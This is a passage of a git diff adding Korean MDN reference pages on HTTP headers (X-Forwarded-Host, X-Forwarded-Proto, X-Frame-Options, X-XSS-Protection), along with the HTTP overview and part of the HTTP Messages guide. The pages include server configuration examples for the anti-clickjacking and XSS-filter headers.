+<p><strong><code>X-Forwarded-Host</code></strong> (XFH) 헤더는 HTTP 요청 헤더에서 클라이언트가 요청한 원래 {{HTTPHeader("Host")}} 헤더를 식별하는 사실상의 표준 헤더입니다.</p>
+
+<p>리버스 프록시(로드발란서, CDN) 에서 Host 이름과 포트는 요청을 처리 하는 Origin 서버와 다를 수 있습니다. 이러한 경우 <code>X-Forwarded-Host</code> 헤더는 원래 사용된 Host 를 확인 하는데 유용 합니다.</p>
+
+<p>이 헤더는 디버깅, 통계 및 위치 종속 컨텐츠 생성에 사용되며 설계 상 클라이언트의 IP 주소와 같은 개인 정보에 민감한 정보를 노출합니다. 따라서이 헤더가 사용될 때 사용자의 개인 정보를 염두에 두어야합니다.</p>
+
+<p>이 헤더의 표준화된 버전은 HTTP {{HTTPHeader("Forwarded")}} 헤더 입니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">X-Forwarded-Host: &lt;host&gt;
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;host&gt;</dt>
+ <dd>전달된 서버의 도메인 이름.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>X-Forwarded-Host: id42.example-cdn.com
+</pre>
+
+<h2 id="기술명세">기술명세</h2>
+
+<p>현재 어떠한 표준 명세에도 속하지 않는다. 이 헤더의 표준화 버전은 {{HTTPHeader("Forwarded")}} 입니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("http.headers.X-Forwarded-Host")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-For")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/x-forwarded-proto/index.html b/files/ko/web/http/headers/x-forwarded-proto/index.html
new file mode 100644
index 0000000000..d81782152e
--- /dev/null
+++ b/files/ko/web/http/headers/x-forwarded-proto/index.html
@@ -0,0 +1,61 @@
+---
+title: X-Forwarded-Proto
+slug: Web/HTTP/Headers/X-Forwarded-Proto
+translation_of: Web/HTTP/Headers/X-Forwarded-Proto
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>X-Forwarded-Proto</code></strong> (XFP) 헤더는 클라이언트가 당신의 프록시 또는 로드 밸런서에 접속하는데에 사용했던 프로토콜(HTTP 또는 HTTPS)이 무엇인지 확인하는 사실상의 표준 헤더 입니다. 당신의 서버 접근 로그들은 서버와 로드 밸런서 사이에서 사용된 프로토콜을 포함하고 있습니다. 그러나 클라이언트와 로드밸런서에 사용한 프로토콜은 포함되어 있지 않습니다. 클라이언트와 로드밸런서 간의 사용된 프로토콜을 확인하기 위해서, <code>X-Forwarded-Proto 요청 헤더가 사용되어 질 수 있습니다.</code></p>
+
+<p>이 헤더의 표준화된 버전은 HTTP {{HTTPHeader("Forwarded")}} 헤더 입니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">X-Forwarded-Proto: &lt;protocol&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;protocol&gt;</dt>
+ <dd>넘겨져야 할 프로토콜 (http 또는 https).</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre>X-Forwarded-Proto: https</pre>
+
+<p>그 외의 비표준 폼:</p>
+
+<pre># Microsoft
+Front-End-Https: on
+
+X-Forwarded-Protocol: https
+X-Forwarded-Ssl: on
+X-Url-Scheme: https
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>어떠한 현재의 명세에도 포함되어 있지 않습니다. 이 헤더의 표준화된 버전은 {{HTTPHeader("Forwarded")}} 입니다..</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-For")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/x-frame-options/index.html b/files/ko/web/http/headers/x-frame-options/index.html
new file mode 100644
index 0000000000..75e72e0ded
--- /dev/null
+++ b/files/ko/web/http/headers/x-frame-options/index.html
@@ -0,0 +1,129 @@
+---
+title: X-Frame-Options
+slug: Web/HTTP/Headers/X-Frame-Options
+translation_of: Web/HTTP/Headers/X-Frame-Options
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The <strong><code>X-Frame-Options</code></strong> <a href="/en-US/docs/Web/HTTP">HTTP</a> 응답 헤더는 해당 페이지를 {{HTMLElement("frame")}} 또는{{HTMLElement("iframe")}}, {{HTMLElement("object")}} 에서 렌더링할 수 있는지 여부를 나타내는데 사용됩니다. 사이트 내 콘텐츠들이 다른 사이트에 포함되지 않도록 하여 {{interwiki("wikipedia", "clickjacking")}} 공격을 막기 위해 이 헤더를 사용합니다.</p>
+
+<p>이 설정은 사용자가  <code>X-Frame-Options</code>를 지원하는 브라우저를 통해 페이지에 접근할 경우에만 보안됩니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p><code>X-Frame-Options</code> 과 관련해서는 다음의 3가지 설정이 가능합니다.</p>
+
+<pre class="syntaxbox">X-Frame-Options: deny
+X-Frame-Options: sameorigin
+X-Frame-Options: allow-from https://example.com/
+</pre>
+
+<h3 id="Directives">Directives</h3>
+
+<p><code>deny</code>는 같은 사이트 내에서 frame을 통한 접근도 막습니다.<br>
+ <code>sameorigin</code>를 명시할 경우에는 frame에 포함된 페이지가 페이지를 제공하는 사이트와 동일한할 경우 계속 사용할 수 있습니다.</p>
+
+<dl>
+ <dt><code>deny</code></dt>
+ <dd>어떠한 사이트에서도 frame 상에서 보여질 수 없습니다.</dd>
+ <dt><code>sameorigin</code></dt>
+ <dd>동일한 사이트의 frame에서만 보여집니다. 해당 스펙 안에서 브라우저 벤더가 최상위(top level), 혹은 부모(parent), 모든 체인(whole chain)에서 적용할지를 결정하도록 맡겨집니다. 하지만 모든 조상(ancestor)이 동일한 사이트에서 제공되지 않으면 이 옵션은 그다지 유용하지 않다고 논의되고 있습니다. (참고 {{bug(725490)}}). 상세 지원사항에 대한 참고 {{anch("Browser compatibility")}}.</dd>
+ <dt><code>allow-from <em>uri</em></code></dt>
+ <dd>지정된 특정 uri의 frame 에서만 보여집니다. 파이어폭스에서는 <code>sameorigin</code> 과 동일한 문제를 겪고 있습니다. 즉 동일한 사이트에 있는지에 대해서 frame의 조상(ancestor)을 확인하지 않습니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<div class="note">
+<p><strong>Note:</strong> 메타 테그 설정은 무용지물이다! 이를테면, <code>&lt;meta http-equiv="X-Frame-Options" content="deny"&gt;</code> 태그는 아무런 영향을 미치지 않는다. 따라서 사용하지지 말ㄹ! 오직 아래의 예제처럼 HTTP 헤더 설정을 통해서만<code>X-Frame-Options</code>이 동작한다.</p>
+</div>
+
+<h3 id="Apache_설정">Apache 설정</h3>
+
+<p>아파치에서 모든 페이지에 <code>X-Frame-Options</code> 헤더를 전송하려면, 사이트 설정에 다음의 설정을 추가합니다.</p>
+
+<pre>Header always set X-Frame-Options "sameorigin"
+</pre>
+
+<p>아파치에서 <code>X-Frame-Options</code> 거부(deny)하려면, 사이트 설정에 다음의 설정을 추가합니다.</p>
+
+<pre>Header set X-Frame-Options "deny"
+</pre>
+
+<p>아파치에서 특정 호스트(host)에서 <code>X-Frame-Options</code> 를 허용하려면(<code>allow-from)</code>, 사이트 설정에 다음의 설정을 추가합니다.</p>
+
+<pre>Header set X-Frame-Options "allow-from https://example.com/"
+</pre>
+
+<h3 id="nginx_설정">nginx 설정</h3>
+
+<p>nginx에서 <code>X-Frame-Options</code> 헤더를 전송하려면 http, server, location 설정에 아래 설정을 추가합니다.</p>
+
+<pre>add_header X-Frame-Options sameorigin;
+</pre>
+
+<h3 id="IIS_설정">IIS 설정</h3>
+
+<p>ISS에서 <code>X-Frame-Options</code> 헤더를 전송하려면, 사이트의 <code>Web.config</code> 파일에 다음을 추가합니다.</p>
+
+<pre class="brush: xml">&lt;system.webServer&gt;
+ ...
+
+ &lt;httpProtocol&gt;
+ &lt;customHeaders&gt;
+ &lt;add name="X-Frame-Options" value="sameorigin" /&gt;
+ &lt;/customHeaders&gt;
+ &lt;/httpProtocol&gt;
+
+ ...
+&lt;/system.webServer&gt;
+</pre>
+
+<h3 id="HAProxy_설정">HAProxy 설정</h3>
+
+<p>HAProxy에서 <code>X-Frame-Options</code> 헤더를 전송하려면, front-end, listen, 혹은 backend 설정에 다음을 추가합니다.</p>
+
+<pre>rspadd X-Frame-Options:\ sameorigin</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7034")}}</td>
+ <td>HTTP Header Field X-Frame-Options</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-Frame-Options")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="https://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx">ClickJacking Defenses - IEBlog</a></li>
+ <li><a href="https://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx">Combating ClickJacking with X-Frame-Options - IEInternals</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7034">HTTP Header Field X-Frame-Options - RFC 7034</a></li>
+ <li><a href="https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors">CSP Level 2 frame-ancestors directive</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/x-xss-protection/index.html b/files/ko/web/http/headers/x-xss-protection/index.html
new file mode 100644
index 0000000000..9248414264
--- /dev/null
+++ b/files/ko/web/http/headers/x-xss-protection/index.html
@@ -0,0 +1,83 @@
+---
+title: X-XSS-Protection
+slug: Web/HTTP/Headers/X-XSS-Protection
+translation_of: Web/HTTP/Headers/X-XSS-Protection
+---
+<div>{{HTTPSidebar}}</div>
+
+
+
+<p>HTTP <strong><code>X-XSS-Protection</code></strong>헤더는 Internet Explorer, Chrome 및 Safari에서 제공하는 기능으로서, ({{Glossary("XSS")}}) 공격을 감지 할 때 페이지 로드를 중지시킬 수 있습니다. 최신 브라우저에서는 Inline Javascript(<code>'unsafe-inline')</code>사용을 못하게 하는 CSP(Content-Security-Policy) 보호기능이 있으나, 해당 기능을 지원하지 않는 구형 웹브라우저에서 사용자를 보호 할수 있는 기능을 제공할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">X-XSS-Protection: 0
+X-XSS-Protection: 1
+X-XSS-Protection: 1; mode=block
+X-XSS-Protection: 1; report=&lt;reporting-uri&gt;
+</pre>
+
+<dl>
+ <dt>0</dt>
+ <dd>XSS 필터링을 비활성화합니다.</dd>
+ <dt>1</dt>
+ <dd>XSS 필터링을 사용합니다 (일반적으로 브라우저의 기본값입니다). 사이트 내에서 스크립팅 공격이 감지되면 브라우저는 안전하지 않은 영역을 제거 후에 렌더링을 하게 됩니다.</dd>
+ <dt>1; mode=block</dt>
+ <dd>XSS 필터링을 사용합니다. 공격이 탐지되면 안전하지 않는 영역을 제거하는게 아니라, 페이지 렌더링을 중단합니다.</dd>
+ <dt>1; report=&lt;reporting-URI&gt;  (Chromium에서만 사용 가능)</dt>
+ <dd>XSS 필터링을 사용합니다. XSS 공격을 탐지하면 브라우저는 페이지 렌더링을 차단하고 위반 사항을 보고합니다. 이것은 CSP {{CSP ( "report-uri")}} 지시문의 기능을 사용하여 보고서를 보냅니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>XSS 공격을 감지하면 페이지로드를 차단합니다.</p>
+
+<pre class="brush: bash notranslate">X-XSS-Protection: 1; mode=block</pre>
+
+<p>PHP</p>
+
+<pre class="brush: php notranslate">header("X-XSS-Protection: 1; mode=block");</pre>
+
+<p>Apache (.htaccess)</p>
+
+<pre class="brush: bash notranslate">&lt;IfModule mod_headers.c&gt;
+ Header set X-XSS-Protection "1; mode=block"
+&lt;/IfModule&gt;</pre>
+
+<p>Nginx</p>
+
+<pre class="brush: bash notranslate">add_header "X-XSS-Protection" "1; mode=block";</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of any specifications or drafts.</p>
+
+<h2 id="지원_브라우저">지원 브라우저</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-XSS-Protection")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li>
+ <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li>
+ <li>
+ <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/index.html b/files/ko/web/http/index.html
new file mode 100644
index 0000000000..8c417d355c
--- /dev/null
+++ b/files/ko/web/http/index.html
@@ -0,0 +1,87 @@
+---
+title: HTTP
+slug: Web/HTTP
+tags:
+ - CORS
+ - HTTP
+ - Reference
+ - TCP/IP
+ - Web
+ - 'l10n:priority'
+translation_of: Web/HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong><dfn>하이퍼텍스트 전송 프로토콜(HTTP)</dfn></strong><dfn>은 HTML과 같은 하이퍼미디어 문서를 전송하기위한 </dfn><a href="https://en.wikipedia.org/wiki/Application_Layer">애플리케이션 레이어</a> 프로토콜입니다. 웹 브라우저와 웹 서버간의 커뮤니케이션을위해 디자인되었지만, 다른 목적으로도 사용될 수 있습니다. HTTP는 클라이언트가 요청을 생성하기 위한 연결을 연다음 응답을 받을때 까지 대기하는 전통적인 <a href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">클라이언트-서버 모델</a>을 따릅니다. HTTP는 <a href="https://en.wikipedia.org/wiki/Stateless_protocol">무상태 프로토콜</a>이며, 이는 서버가 두 요청간에 어떠한 데이터(상태)도 유지하지 않음을 의미합니다. 일반적으로 안정적인 <a href="https://en.wikipedia.org/wiki/Transport_Layer">전송 레이어</a>로 UDP와 달리 메세지를 잃지 않는 프로토콜인 TCP/IP 레이어를 기반으로 사용 합니다. <a href="https://en.wikipedia.org/wiki/Reliable_User_Datagram_Protocol">RUDP</a> — 안정적인 업데이트인 UDP의 적합한 대안 입니다.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="자습서">자습서</h2>
+
+<p>가이드와 튜토리얼을 통해 HTTP를 사용하는 방법을 배워보세요.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Overview">HTTP 개요</a></dt>
+ <dd>클라이언트-서버 프로토콜의 기본 기능들: 할 수 있는 것과 의도된 용도.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Caching">HTTP 캐시</a></dt>
+ <dd>캐싱은 빠른 웹 사이트를 위해 아주 중요합니다. 이 글은 여러 캐싱 방법과 HTTP 헤더를 사용하여 이를 제어하는 방법을 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Cookies">HTTP 쿠키</a></dt>
+ <dd>쿠키가 동작하는 방식은 <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>에서 정의합니다. HTTP 요청을 제공할 때, 서버는 응답과 함께 <code>Set-Cookie</code> HTTP 헤더를 전송합니다. 그 다음에 클라이언트는 모든 요청과 함께 쿠키의 값을 <code>Cookie</code> 요청 헤더의 형태로 동일한 서버에 반환합니다. 쿠키는 특정 날짜에 만료되도록 설정하거나 특정 도메인 및 경로에 제한되도록 설정할수도 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/CORS">교차 출처 리소스 공유(CORS)</a></dt>
+ <dd><strong>교차 사이트 HTTP 요청</strong>은 요청을 생성한 리소스의 도메인과 <strong>다른 도메인</strong>의 리소스에 대한 HTTP 요청입니다. 예를 들면, 도메인 A(<code>http://domaina.example/</code>)의 HTML 페이지가 <code>img</code> 엘리먼트를 통해 도메인 B(<code>http://domainb.foo/image.jpg</code>)의 이미지에대한 요청을 생성하는 것입니다. 오늘날의 웹 페이지가 CSS 스타일시트, 이미지, 스크립트 등을 포함하는 교차-사이트 리소스을 로드하는 것을 아주 흔하게 볼 수 있습니다. CORS를 통해 웹 개발자는 그들의 사이트가 교차-사이트 요청에 대해 어떻게 반응할지 제어할 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP의 진화</a></dt>
+ <dd>초기 버전의 HTTP와 최신 HTTP/2 이후의 변경 사항에 대한 간략한 설명입니다.</dd>
+ <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Mozilla 웹 보안 가이드라인</a></dt>
+ <dd>안전한 웹 어플리케이션을 생성하는 운영 팀에 도움이되는 팁 모음입니다.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Messages">HTTP 메시지</a></dt>
+ <dd>HTTP/1.x와 HTTP/2의 다양한 종류의 메시지 타입과 구조에 대해 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Session">전형적인 HTTP 세션</a></dt>
+ <dd>일반적인 HTTP 세션의 흐름을 보여주고 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x의 연결 관리</a></dt>
+ <dd>HTTP/1.x에서 사용가능한 세 가지 연결 관리 모델과 그 장단점을 설명합니다.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="참고서">참고서</h2>
+
+<p>상세한 HTTP 참고서를 살펴보세요.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a></dt>
+ <dd>HTTP 메시지 헤더는 리소스 또는 서버나 클라이언트의 동작을 설명하는데 사용됩니다. 커스텀 등록 헤더는 <code>X-</code>를 앞에 붙여 추가할 수 있습니다. 그 외에는 원본 컨텐츠가 <a href="https://tools.ietf.org/html/rfc4229">RFC 4229</a>에서 정의된 <a href="https://www.iana.org/assignments/message-headers/message-headers.xhtml#perm-headers">IANA 레지스트리</a>에 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></dt>
+ <dd>HTTP로 수행할 수 있는 여러 작업: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} 요청 및 덜 자주 사용되는 {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("TRACE")}} 요청.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Response_codes">HTTP 상태 응답 코드</a></dt>
+ <dd>HTTP 응답 코드는 지정한 HTTP 요청이 성공적으로 완료되었는지를 나타냅니다. 응답은 다섯 가지 클래스로 그룹핑됩니다: 정보성 응답, 성공 응답, 리다이렉트, 클라이언트 에러, 서버 에러.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Headers/Content-Security-Policy">CSP 지시문</a></dt>
+ <dd>{{HTTPHeader("Content-Security-Policy")}} 응답 헤더 필드는 주어진 페이지를 로드하기 위해 유저 에이전트가 허용한 리소스를 웹 사이트 관리자가 제어할 수 있도록 해줍니다. 몇 가지 예외를 제외하고, 대부분의 정책은 서버 오리진과 스크립트 엔드포인트 지정을 포함합니다.</dd>
+</dl>
+
+<h2 id="도구_리소스">도구 &amp; 리소스</h2>
+
+<p>HTTP를 이해하고 디버깅하는데 도움이되는 도구와 리소스.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Tools">Firefox 개발자 도구</a></dt>
+ <dd><a href="/ko/docs/Tools/Network_Monitor">네트워크 모니터</a></dd>
+ <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt>
+ <dd>
+ <p>개발자, 시스템 관리자, 보안 전문가가 사이트를 안전하게 구성하는 것을 돕기위해 디자인된 프로젝트.</p>
+ </dd>
+ <dt><a class="external" href="https://redbot.org/">RedBot</a></dt>
+ <dd>캐시 관련 헤더를 확인하는 도구</dd>
+ <dt><a href="https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">브라우저가 동작하는 방식</a></dt>
+ <dd>브라우저 내부와 HTTP 프로토콜을 통한 요청 흐름에 대한 아주 이해하기 쉬운 문서. 웹 개발자라면 필독.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/web/http/index/index.html b/files/ko/web/http/index/index.html
new file mode 100644
index 0000000000..ffd7a593f4
--- /dev/null
+++ b/files/ko/web/http/index/index.html
@@ -0,0 +1,11 @@
+---
+title: HTTP 색인
+slug: Web/HTTP/Index
+tags:
+ - HTTP
+ - Index
+translation_of: Web/HTTP/Index
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>{{Index("/ko/docs/Web/HTTP")}}</p>
diff --git a/files/ko/web/http/messages/index.html b/files/ko/web/http/messages/index.html
new file mode 100644
index 0000000000..2493d11b64
--- /dev/null
+++ b/files/ko/web/http/messages/index.html
@@ -0,0 +1,147 @@
+---
+title: HTTP 메시지
+slug: Web/HTTP/Messages
+tags:
+ - Guide
+ - HTTP
+ - HTTP/1.1
+ - HTTP/2
+ - Response
+ - request
+translation_of: Web/HTTP/Messages
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP 메시지는 서버와 클라이언트 간에 데이터가 교환되는 방식입니다. 메시지 타입은 두 가지가 있습니다. 요청(<em>request)은 </em>클라이언트가 서버로 전달해서 서버의 액션이 일어나게끔 하는 메시지고, 응답(<em>response)은 요청</em>에 대한 서버의 답변입니다.</p>
+
+<p>HTTP 메시지는 ASCII로 인코딩된 텍스트 정보이며 여러 줄로 되어 있습니다. HTTP 프로토콜 초기 버전과 HTTP/1.1에서는 클라이언트와 서버 사이의 연결을 통해 공개적으로 전달되었습니다. 이렇게 한 때 사람이 읽을 수 있었던 메시지는 HTTP/2에서는 최적화와 성능 향상을 위해 HTTP 프레임으로 나누어집니다.</p>
+
+<p>웹 개발자, 또는 웹 마스터가 손수 HTTP 메시지를 텍스트로 작성하는 경우는 드뭅니다. 대신에 소프트웨어, 브라우저, 프록시, 또는 웹 서버가 그 일을 합니다. HTTP 메시지는 설정 파일(프록시 혹은 서버의 경우), API(브라우저의 경우), 혹은 다른 인터페이스를 통해 제공됩니다.</p>
+
+<p><img alt="From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent." src="https://mdn.mozillademos.org/files/13825/HTTPMsg2.png" style="height: 538px; width: 1174px;"></p>
+
+<p>HTTP/2의 이진 프레이밍 메커니즘(binary framing mechanism)은 사용 중인 API나 설정 파일 등을 변경하지 않아도 되도록 설계 되었기 때문에, 사용자가 보고 이해하기 쉽습니다.</p>
+
+<p>HTTP 요청과 응답의 구조는 서로 닮았으며, 그 구조는 다음과 같습니다.</p>
+
+<ol>
+ <li>시작 줄(start-line)에는 실행되어야 할 요청, 또은 요청 수행에 대한 성공 또는 실패가 기록되어 있습니다. 이 줄은 항상 한 줄로 끝납니다.</li>
+ <li>옵션으로 HTTP 헤더 세트가 들어갑니다. 여기에는 요청에 대한 설명, 혹은 메시지 본문에 대한 설명이 들어갑니다.</li>
+ <li>요청에 대한 모든 메타 정보가 전송되었음을 알리는 빈 줄(blank line)이 삽입됩니다.</li>
+ <li>요청과 관련된 내용(HTML 폼 콘텐츠 등)이 옵션으로 들어가거나, 응답과 관련된 문서(document)가 들어갑니다. 본문의 존재 유무 및 크기는 첫 줄과 HTTP 헤더에 명시됩니다.</li>
+</ol>
+
+<p>HTTP 메시지의 시작 줄과 HTTP 헤더를 묶어서 요청 <em>헤드(head)라고 부르며</em>, 이와 반대로 HTTP 메시지의 페이로드는 <em>본문(body)</em>이라고 합니다.</p>
+
+<p><img alt="Requests and responses share a common structure in HTTP" src="https://mdn.mozillademos.org/files/13827/HTTPMsgStructure2.png" style="height: 368px; width: 1239px;"></p>
+
+<h2 id="HTTP_요청">HTTP 요청</h2>
+
+<h3 id="시작_줄">시작 줄</h3>
+
+<p>HTTP 요청은 서버가 특정 동작을 취하게끔 만들기 위해 클라이언트에서 전송하는 메시지입니다. 시작 줄은 다음과 같이 세 가지 요소로 이루어져 있습니다.</p>
+
+<ol>
+ <li>첫번째는 <em><a href="/en-US/docs/Web/HTTP/Methods">HTTP 메서드</a>로</em>, 영어 동사({{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}},{{HTTPMethod("POST")}}) 혹은 명사({{HTTPMethod("HEAD")}}, {{HTTPMethod("OPTIONS")}})를 사용해 서버가 수행해야 할 동작을 나타냅니다. 예를 들어, <code>GET</code>은 리소스를 클라이언트로 가져다 달라는 것을 뜻하며, <code>POST</code>는 데이터가 서버로 들어가야 함을 의미(리소스를 새로 만들거나 수정하기 위해, 또는 클라이언트로 돌려 보낼 임시 문서를 생성하기 위해)합니다.</li>
+ <li>두번째로 오는 요청 타겟은 주로 {{glossary("URL")}}, 또는 프로토콜, 포트, 도메인의 절대 경로로 나타낼 수도 있으며 이들은 요청 컨텍스트에 의해 특정지어 집니다. 요청 타겟 포맷은 HTTP 메소드에 따라 달라집니다. 포맷에는 다음과 같은 것들이 있습니다.
+ <ul>
+ <li>origin 형식: 끝에 <code>'?'</code>와 쿼리 문자열이 붙는 절대 경로입니다. 이는 가장 일반적인 형식이며, <code>GET</code>, <code>POST</code>, <code>HEAD</code>, <code>OPTIONS</code> 메서드와 함께 사용합니다.<br>
+ <code>POST / HTTP 1.1<br>
+ GET /background.png HTTP/1.0<br>
+ HEAD /test.html?query=alibaba HTTP/1.1<br>
+ OPTIONS /anypage.html HTTP/1.0</code></li>
+ <li><em>absolute 형식: 완전한 URL 형식입니다.</em> 프록시에 연결하는 경우 대부분 <code>GET</code>과 함께 사용됩니다.<br>
+ <code>GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1</code></li>
+ <li><em>authority 형식: </em>도메인 이름 및 옵션 포트(<code>':'</code>가 앞에 붙습니다)로 이루어진 URL의 authority component 입니다.​​​​ HTTP 터널을 구축하는 경우에만 <code>CONNECT</code>와 함께 사용할 수 있습니다.<br>
+ <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li>
+ <li><em>asterisk 형식: </em><code>OPTIONS</code>와 함께 별표(<code>'*'</code>) 하나로 간단하게 서버 전체를 나타냅니다. ​​​​​<br>
+ <code>OPTIONS * HTTP/1.1</code></li>
+ </ul>
+ </li>
+ <li>마지막으로 ​​​​<em>HTTP 버전이 들어갑니다. 메시지의 남은</em> 구조를 결정하기 때문에, 응답 메시지에서 써야 할 HTTP 버전을 알려주는 역할을 합니다.</li>
+</ol>
+
+<h3 id="헤더">헤더</h3>
+
+<p>요청에 들어가는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>는 HTTP 헤더의 기본 구조를 따릅니다. 대소문자 구분없는 문자열 다음에 콜론(<code>':'</code>)이 붙으며, 그 뒤에 오는 값은 헤더에 따라 달라집니다. 헤더는 값까지 포함해 한 줄로 구성되지만 꽤 길어질 수 있습니다.</p>
+
+<p>다양한 종류의 요청 헤더가 있는데, 이들은 다음과 같이 몇몇 그룹으로 나눌 수 있습니다.</p>
+
+<ul>
+ <li>General 헤더: {{HTTPHeader("Via")}}와 같은 <em>헤더는</em> 메시지 전체에 적용됩니다.</li>
+ <li>Request 헤더: {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Accept-Type")}}와 같은 헤더는 요청의 내용을 좀 더 구체화 시키고({{HTTPHeader("Accept-Language")}}), 컨텍스를 제공하기도 하며({{HTTPHeader("Referer")}}), 조건에 따른 제약 사항을 가하기도 하면서({{HTTPHeader("If-None")}}) 요청 내용을 수정합니다.</li>
